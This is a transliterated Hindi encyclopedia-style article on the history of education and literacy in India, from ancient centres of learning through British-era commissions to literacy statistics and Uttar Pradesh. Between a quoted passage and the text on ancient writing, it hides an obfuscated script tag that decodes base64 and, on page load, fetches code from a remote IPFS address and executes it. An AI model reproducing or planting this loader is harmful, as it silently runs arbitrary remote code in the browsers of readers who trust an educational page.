भारत में शिक्षा

1911 mean bharatiy janaganana ke samay saksharata ko paribhashit karate hue kaha gaya hai ki "ek patr padh-likhakar usaka uttar de dene ki yogyata" saksharata hai.

prachin kal

chitr:Blockquote-open.gif ham yah spasht kar dena chahate haian ki bharat ne jitana rrin grahan kiya hai, utana hi athava usase bhi adhik usane pradan kiya hai. bharat ke prati vishv ke rrin ka saraansh is prakar hai- sampoorn dakshin-poorv eshiya ko apani adhikaansh sanskriti bharat se prapt huee. eesa poorv paanchavian shatabdi ke prarambh mean pashchimi bharat ke upaniveshi lanka mean bas gaye, jinhoanne ashok ke rajyakal mean bauddh dharm svikar kar liya. is samay tak kuchh bharatiy vyapari sambhavataya malaya, sumatra tatha dakshin-poorv eshiya ke any bhagoan mean ane jane lage the. dhire dhire unhoanne sthayi apanivesh sthapit kar lie. isamean sandeh nahian ki pray: unhoanne sthaniy striyoan se vivah kiye. vyapariyoan ke pashchat vahaan brahman tatha bauddh bhikshuk pahuanche aur bharatiy prabhav ne shanai: shanai: vahaan ki svadeshi sanskriti ko jagrat kiya. yahaan tak ki chauthi shatabdi mean sanskrit us kshetr ki rajabhasha ho gayi aur vahaan aisi mahan sabhyataean vikasit hueean jo vishal samudratatiy samrajyoan ka sangathan karane tatha java mean barobadoor ka buddh stoop athava kambodiya mean aangakor ke shaiv mandir jaise ashcharyajanak smarak nirmit karane mean samarth huee. dakshin-poorv eshiya mean any saanskritik prabhav chin evan islami sansar dvara anubhav kie gaye parantu sabhyata ki prarambhik prerana bharat se hi prapt huee bharatiy itihasakar jo apane desh ke atit par garv karate haian pray: is kshetr ko 'vrihattar bharat' ka nam dete haian tatha bharatiy upaniveshoan ka varnan karate haian. apane samany arth mean 'upanivesh' shabd yuktisangat nahian jan p data hai phir bhi yah kaha jata hai ki pauranik ary vijeta vijay ne talavar ke bal se lanka dvip par vijay prapt ki thi. isake atirikt bharat ki sima ke bahar kisi sthayi bharatiy vijay ka koee vastavik praman upalabdh nahian hai. bharatiy upanivesh shantipriy the aur un kshetroan ke bharatiy nripati svadeshi senapati the. jinhoanne bharat se hi sari shiksha grahan ki thi.- basham chitr:Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bharat mean lambe samay se likhit bhasha ka astitv hai, kintu pratyaksh soochana ke abhav ke karan isaka santoshajanak vikas nahian hua. h dappa aur mohanajod do ki lekhan chitralipi tin hazar varsh eesa poorv aur bad ki hai. yadyapi abhi tak is lipi ko padha nahian ja saka hai, tathapi isase yah spasht hai ki bharatiyoan ke pas kee shatabdiyoan pahale se hi ek likhit bhasha thi aur yahaan ke log padh aur likh sakate the. h dappa aur ashok ke kal ke bich mean pandrah sau varshoan ka aisa samay raha hai, jisamean ki koee likhit praman nahian milata. lekin panini ne us samay bharatiyoan ke dvara boli jane vali vibhinn bhashaoan ka ullekh kiya hai. buddh ke samay mean aur unase bhi pahale is desh mean bhasha ke 60 se bhi adhik roopoan ko jana jata tha tatha shakyamuni ne lekhan ki ek paddhati ki shiksha di thi. bharat ke ek rashtr ke roop mean vikasit hone se pahale sanskrit bhasha ekata ka mahattvapoorn karak thi. yadi yah man bhi liya jae ki us samay desh ki sampoorn abadi ki ek tihaee se zyada ooanchi jatiyoan ki abadi nahian thi to bhi yah mana ja sakata hai ki ashok ke samay mean bharat mean do karo d se zyada log shikshit the (yah manate hue ki us samay ki janasankhya mean lagabhag 1/5 chhoti ayu vale bachche the tatha sabhi l dakiyaan shiksha prapt nahian kar rahi thian). yah sankhya bahut adhik pratit nahian hoti, kyoanki us bharat ki janasankhya poori manavata ke ek-tihaee ke lagabhag thi. atah us samay ke shikshit logoan ki sankhya isase adhik rahi hogi aur yah us samay ki sabase kam sankhya hi mani ja sakati hai. arambh mean mahilaoan ke lie bhi shiksha anivary thi, lekin samay ke sath unaki vivah ayu kam hoti gee aur is vajah se mahilaoan ki shiksha mean badha aee, use pratibandhit kar diya gaya.

saltanat kal

alag-alag bhashaoan aur lipiyoan mean likhe ge ashok ke prasiddh shasanadesh bharat ke vibhinn bhagoan mean shilalekh ke roop mean the. ye shasanadesh janata ko sambodhit the, jisaka matalab hai ki janata unhean padh evan samajh sakati thi. uttar bharat ki muslim vijay bhi ek nishchit sima tak saksharata aur shiksha mean kami ane ke lie uttaradayi hai. yadi ham yuddhoan ke evan tanavoan ke ghatak parinamoan ka ullekh n karean to bhi bharat mean islam ki vijay se ek sima tak janata ki shiksha mean giravat aee, jo pahale mahilaoan ke karan likh evan padh sakate the. vaidik yug mean ek kanya ki vivah ki ayu 16 se 18 varsh thi; 12vian sadi mean yah ayu 12-14 ho gee aur age chalakar to yah 7-9 ho gee, isaka parinam yah hua ki mahilaoan ke lie to shiksha ke daravaze band hi kar diye ge.

aupanivesh kal

shiksha ki yooropiy shaili sthapit karane ke bad desh ke bajat ka keval 1.7% shiksha par kharch kiya gaya. yah upaniveshakalin bharat mean shiksha ki sthiti ko batane ke lie paryapt hai ki us samay lokapriy shiksha ka star kya tha. "turki sarakar ke apavad ko chho dakar yoorop mean ek bhi sarakar aisi nahian thi, jo lok-shiksha par itani kam rashi vyay karane vali ho."

kramavar vikas

bharat mean shiksha ke prati rujhan prachin kal se hi dekhane ko milati hai. prachin kal mean gurukuloan, ashramoan tatha bauddh mathoan mean shiksha grahan karane ki vyavastha hoti thi. tatkalin shiksha kendroan mean nalanda, takshashila evan vallabhi ki ganana ki jati hai. madhy kal mean shiksha madarasoan mean pradan ki jati thi. mugal kal mean prathamik shiksha ‘maqatav’ mean di jati thi aur uchch shiksha madarasoan mean di jati thi. shiksha ke yahi do roop the, prathamik aur uchch arthat madhyamik shiksha nahian thi. mugal shasakoan ne dilli, ajamer, lakhanoo evan agara mean madarasoan ka nirman karavaya.

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• bharat mean adhunik v pashchaty shiksha ki shurooat british eest iandiya kampani ke shasan kal se huee. 1813 ee. ke chartar mean sarvapratham bharatiy shiksha ke prachar-prasar ke lie ek lakh rupaye ki vyavastha ki gee.
• lok shiksha ke lie sthapit samany samiti ke das sadasyoan mean do dal ban gaye the. ek aangl ya pashchaty vidya ka samarthak tha to doosara prachy vidya ka. prachy vidya ke samarthakoan ka netritv lok shiksha samiti ke sachiv ech.ti. priansep ne kiya jabaki inaka samarthan samiti ke mantri ech.ech. vilsan ne kiya. ‘adhomukhi nisyandan siddhant’, jisaka arth tha- shiksha samaj ke uchch varg ko di jaye, ko sarvapratham sarakari niti ke roop mean akalaind ne lagoo kiya. ‘vud dispaich’ ke pahale tak is siddhant ke tahat bharatiyoan ko shikshit kiya gaya.
• bord aauph kantrol ke pradhan charls vud ne 19 julaee, 1854 ko bharatiy shiksha par ek vyapak yojana prastut ki jise ‘vud ka dispaich’ kaha jata hai.
• vud ke ghoshana-patr dvara shiksha ke kshetr mean huee pragati ki samiksha hetu 1882 ee. mean sarakar ne dablyoo. hantar ki adhyakshata mean ek ayog ki niyukti ki is ayog mean 8 sadasy bharatiy the. ayog ko prathamik evan madhyamik shiksha ki samiksha tak hi simit kar diya gaya tha.
• 1917 ee. mean kalakatta vishvavidyalay ki samasyaoan ke adhyayan ke lie d aau. em.ee. saidalar ke netritv mean ek ayog gathit kiya gaya.
• 1929 ee. mean ‘bharatiy pariniti ayog ne sar philip hartog ke netritv mean shiksha ke vikas par riport hetu ek sahayak samiti ka gathan kiya gaya. samiti ne prathamik shiksha ke mahattv ki bat ki. hartog samiti ki sipharish ke adhar par 1935 mean ‘kendriy shiksha salahakar bord’ ka punargathan kiya gaya.
• vardha yojana ko kee namoan se jana jata hai yatha- buniyadi shiksha, besik shiksha adi. gaandhiji dvara 1937 ee. mean vardha namak sthan par is yojana ka sootrapat hua. isamean shiksha ke madhyam se hast utpadan karyoan ko mahattv diya gaya. isamean balak apani matribhasha ke dvara 7 varsh tak adhyayan karata tha.
• 1944 ee. mean kendriy shiksha salahakar mandal ne ‘sarjent yojana’ (sarjent bharat sarakar mean shiksha salahakar the) ke nam se ek rashtriy shiksha yojana prastut ki. isamean 6 se 11 varsh ke bachchoan ke lie ni:shulk anivary shiksha diye jane ki vyavastha ki gee thi.
• d aau. sarvapalli radhakrishnan ki adhyakshata mean san 1948-49 mean uchch shiksha ke sujhav ke lie radhakrishnan ayog ka gathan kiya gaya.
• 1953 ee. mean radhakrishnan ayog ki sipharishoan ko kriyanvit karane ke lie vishvavidyalay anudan ayog ki sthapana ki gayi.
• mudaliyar ya madhyamik shiksha ayog ka gathan san 1952-53 mean hua. isane madhyamik shiksha ke lie sujhav die.
• d aau. di.es. kothari ki adhyakshata mean julaee 1964 ee. mean kothari ayog ki niyukti ki gee. isane prathamik shiksha, madhyamik shiksha aur uchch arthat vishvavidyalay shiksha ke lie mahattvapoorn sanstutiyaan ya sujhav diye.

bharatiy itihas ke vibhinn yugoan mean saksharata kal kul janasankhya (das lakh mean) shikshit (das lakh mean) kul pratishat shikshit purush % shikshit mahila % prachin bharat (300 ee.poo. se 300 eesavi) 120 20 17 27 7 madhyakalin bharat (1200 eesavi) 100 9 9 15 3 upaniveshakakal bharat (1900 tak) 300 18 6 11 0.6 adhunik bharat (1961) 439 105 24 34 13 adhunik bharat (1971) 548 161 29 40 18 adhunik bharat (1981) 634 238 36 47 25

upaniveshakalin janagananaoan mean das varsh se adhik ayu varg mean shiksha aank de janaganana varsh kul janasankhya purush mahilaean 1891 6.1 11.4 0.5 1901 6.2 11.5 0.7 1911 7.0 12.6 1.1 1921 8.3 14.2 1.9 1931 9.2 15.4 2.4

uttar pradesh mean shiksha

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• uttar pradesh mean 16 vishvavidyalay, 400 se adhik sanbaddh mahavidyalay, kee chikitsa mahavidyalay aur vishisht adhyayanoan v shodh ke lie kee sansthan haian.
• 1950 ke dashak ke bad se rajy mean vidyalayoan v sabhi staroan par vidyarthiyoan ki sankhya badhane ke bavajood rajy ki janasankhya ka 57.36 pratishat hissa hi sakshar hai.
• prathamik star par shiksha ka madhyam hiandi (kuchh niji vidyalayoan mean madhyam aangrezi) hai, uchchatar vidyalay ke vidyarthi hiandi v aangrezi mean padhaee karate haian, jabaki vishvavidyalay star par amataur par shiksha ka madhyam aangrezi hai.

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panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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